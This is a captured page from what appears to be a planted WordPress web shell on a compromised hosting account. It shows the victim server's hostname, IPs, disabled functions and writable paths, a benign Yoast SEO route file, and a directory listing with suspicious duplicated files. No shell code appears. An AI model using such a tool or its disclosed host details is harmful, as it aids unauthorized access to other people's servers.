✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.223
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/admin/f25677/user-interface//action-tracking-route.php
<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Tracking\User_Interface;

use Exception;
use WP_Error;
use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Capability_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Routes\Route_Interface;
use Yoast\WP\SEO\Tracking\Application\Action_Tracker;
use Yoast\WP\SEO\Tracking\Domain\Exceptions\Invalid_Tracked_Action_Exception;

/**
 * Registers a route to track user actions.
 */
class Action_Tracking_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 *  The namespace for this route.
	 *
	 * @var string
	 */
	public const ROUTE_NAMESPACE = Main::API_V1_NAMESPACE;

	/**
	 *  The prefix for this route.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = '/action_tracking';

	/**
	 * Holds the action tracker instance.
	 *
	 * @var Action_Tracker
	 */
	private $action_tracker;

	/**
	 * Holds the capability helper instance.
	 *
	 * @var Capability_Helper
	 */
	private $capability_helper;

	/**
	 * Holds the options helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Constructs the class.
	 *
	 * @param Action_Tracker    $action_tracker    The action tracker.
	 * @param Capability_Helper $capability_helper The capability helper.
	 * @param Options_Helper    $options_helper    The options helper.
	 */
	public function __construct(
		Action_Tracker $action_tracker,
		Capability_Helper $capability_helper,
		Options_Helper $options_helper
	) {
		$this->action_tracker    = $action_tracker;
		$this->capability_helper = $capability_helper;
		$this->options_helper    = $options_helper;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		\register_rest_route(
			self::ROUTE_NAMESPACE,
			self::ROUTE_PREFIX,
			[
				[
					'methods'             => 'POST',
					'callback'            => [ $this, 'track_action' ],
					'permission_callback' => [ $this, 'check_capabilities' ],
					'args'                => [
						'action' => [
							'required'          => true,
							'type'              => 'string',
							'sanitize_callback' => 'sanitize_text_field',
						],
					],
				],
			],
		);
	}

	/**
	 * Tracks an action.
	 *
	 * @param WP_REST_Request $request The request object.
	 *
	 * @return WP_REST_Response|WP_Error The success or failure response.
	 *
	 * @throws Invalid_Tracked_Action_Exception When the given action is invalid.
	 */
	public function track_action( WP_REST_Request $request ): WP_REST_Response {
		$action_to_track = $request->get_param( 'action' );

		try {
			if ( ! \in_array( $action_to_track, $this->options_helper->get_tracking_only_options(), true ) ) {
				throw new Invalid_Tracked_Action_Exception();
			}

			$this->action_tracker->track_version_for_performed_action( $action_to_track );
		} catch ( Exception $exception ) {
			return new WP_REST_Response(
				[
					'success' => false,
					'error'   => $exception->getMessage(),
				],
				$exception->getCode(),
			);
		}

		return new WP_REST_Response(
			[
				'success' => true,
				'action'  => $action_to_track,
			],
			200,
		);
	}

	/**
	 * Checks if the current user has the required capabilities.
	 *
	 * @return bool
	 */
	public function check_capabilities() {
		return $this->capability_helper->current_user_can( 'wpseo_manage_options' );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
21 Sep 2026 11.07 AM
docteuh / users
0755
values
--
29 Aug 2026 1.21 AM
docteuh / users
0755
action-tracking-route.php
3.416 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ai-generator-integration.php
6.727 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
breadcrumbs-generator-20260831055649.php
12.619 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
breadcrumbs-generator.php
12.619 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
bust-subscription-cache-route.php
2.146 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-admin.php
12.73 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
get-suggestions-route.php
4.724 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103038-20260829114745.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103532-20260829105142.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827224220.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260828020905.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
index-20260826222934-20260827033541.php
5.793 KB
24 Jul 2026 4.02 PM
docteuh / users
0644
taxonomy.php
8.284 KB
21 May 2026 2.34 PM
docteuh / users
0644
test-app
82.219 KB
1 Aug 2026 11.18 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF